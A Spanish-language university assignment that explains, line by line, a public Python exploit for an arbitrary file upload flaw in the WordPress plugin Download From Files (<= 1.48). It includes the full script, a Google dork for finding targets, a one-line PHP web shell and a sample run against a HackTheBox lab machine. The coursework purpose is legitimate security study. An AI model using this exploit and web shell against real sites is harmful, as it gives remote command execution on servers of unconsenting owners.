

Ética y vulnerabilidad de sistemas II

Profesor: Héctor Eryx Paredes Camacho

ESI3903B



ITESO, Universidad
Jesuita de Guadalajara

Crea tu propio exploit

12/05/2023

Verónica Daniela Villalobos Banda

Tabla de contenido

1.	Exploit.....	3
1.1.	Propósito	3
1.2.	Código del exploit.....	3
1.3.	Código de la shell	5
1.4.	Ejecución	6

1. Exploit

1.1. Propósito

El siguiente exploit se utilizó en la máquina de Phoenix, en el laboratorio privado de HackTheBox. Explora una vulnerabilidad de WordPress, en específico, el subir archivos de manera arbitraria. Este exploit fue programado en Python, y se manda con tres argumentos: el nombre del script, la URL a la que se va a atacar y un archivo php.

1.2. Código del exploit

```
# Exploit Title: Wordpress Plugin Download From Files 1.48 - Arbitrary
File Upload
# Google Dork: inurl:/wp-content/plugins/download-from-files
# Date: 10/09/2021
# Exploit Author: spacehen
# Vendor Homepage: https://wordpress.org/plugins/download-from-files/
# Version: <= 1.48
# Tested on: Ubuntu 20.04.1 LTS (x86)

import os.path
from os import path
import json
import requests;
import sys
```

Comentarios generales del exploit. Se importan las librerías a utilizar, en este caso son os.path, json, requests y sys.

```
def print_banner():
    print("Download From Files <= 1.48 - Arbitrary File Upload")
    print("Author -> spacehen (www.github.com/spacehen)")
```

Función que imprime el título del exploit y la información del autor, en este caso, de spacehen.

```
def print_usage():
    print("Usage: python3 exploit.py [target url] [php file]")
    print("Ex: python3 exploit.py
https://example.com ./shell.(php4/phtml)")
```

Función que imprime instrucciones sobre cómo usar el exploit.

```
def vuln_check(uri):
    response = requests.get(uri, verify=False)
    raw = response.text

    if ("Sikeres" in raw):
        return True;
    else:
        return False;
```

La función verifica que la URL objetivo (uri) es vulnerable. Manda una petición de HTTP a la URL y verifica que su respuesta contenga el string "Sikeres". Si es así, nuestra URL es vulnerable.

```
def main():

    print_banner()
```

La función main() primero imprime el banner del exploit, el cual fue definido en una función anterior.

```
if(len(sys.argv) != 3):
    print_usage();
    sys.exit(1);
```

Verifica que el comando fue ejecutado con dos líneas de comando en el argumento (URL y archivo de PHP), sino, sale del exploit.

```
base = sys.argv[1]
file_path = sys.argv[2]
```

Los valores son asignados a sus respectivas variables, indicando las posiciones del input en la terminal.

```
ajax_action = 'download_from_files_617_fileupload'
admin = '/wp-admin/admin-ajax.php';

uri = base + admin + '?action=' + ajax_action ;
check = vuln_check(uri);
```

La variable ajax_action está relacionada con la vulnerabilidad en sí, mientras que la variable de admin almacena el path hacia el archivo de admin-ajax.php. La variable de uri combina la URL base, el path de admin y el nombre de la acción para completar la URL a explotar. Por lo mismo, esta variable se la pasa a check usando la función de vuln_check.

```
if(check == False):
    print("(*) Target not vulnerable!");
    sys.exit(1)
```

Si no es vulnerable, cierra el script.

```

if( path.isfile(file_path) == False):
    print("(*) Invalid file!")
    sys.exit(1)

```

Verifica que el file path exista y que sea válido, sino, sale de la ejecución.

```

files = {'files[]' : open(file_path)}
data = {
    "allowExt" : "php4,phtml",
    "fileName" : "files",
    "maxSize" : "1000",
    "uploadDir" : "."
}

```

Se crea un diccionario llamado files con la key de files[], mapeado al archivo abierto especificado en nuestra variable de file_path. La variable de data contiene otro diccionario con parámetros adicionales para subir el archivo.

```

print("Uploading Shell...");
response = requests.post(uri, files=files, data=data,
verify=False )
file_name = path.basename(file_path)
if("ok" in response.text):
    print("Shell Uploaded!")
    if(base[-1] != '/'):
        base += '/'
    print(base + "wp-admin/" + file_name);
else:
    print("Shell Upload Failed")
    sys.exit(1)

main();

```

El script comienza a hacer un upload del archivo mandando un request de POST a uri con los parámetros de files y data. Modificamos un poco el script al ponerle “False” en verify, pues si tenemos una página con https, esto nos podría dar problemas.

1.3. Código de la shell


En este caso, la shell que se utilizó fue la siguiente:

```
<?php system($_GET['cmd']); ?>
```

En este caso, abrirá una terminal de cmd.

1.4. Ejecución

Para la ejecución, este es un ejemplo utilizado en la máquina de Phoenix en HackTheBox.



```
python3 50287.py https://phoenix.htb shell.phtml  
  
Download From Files <= 1.48 - Arbitrary File Upload  
Author -> spacehen (www.github.com/spacehen)  
Shell Uploaded!  
https://phoenix.htb/wp-admin/shell.phtml
```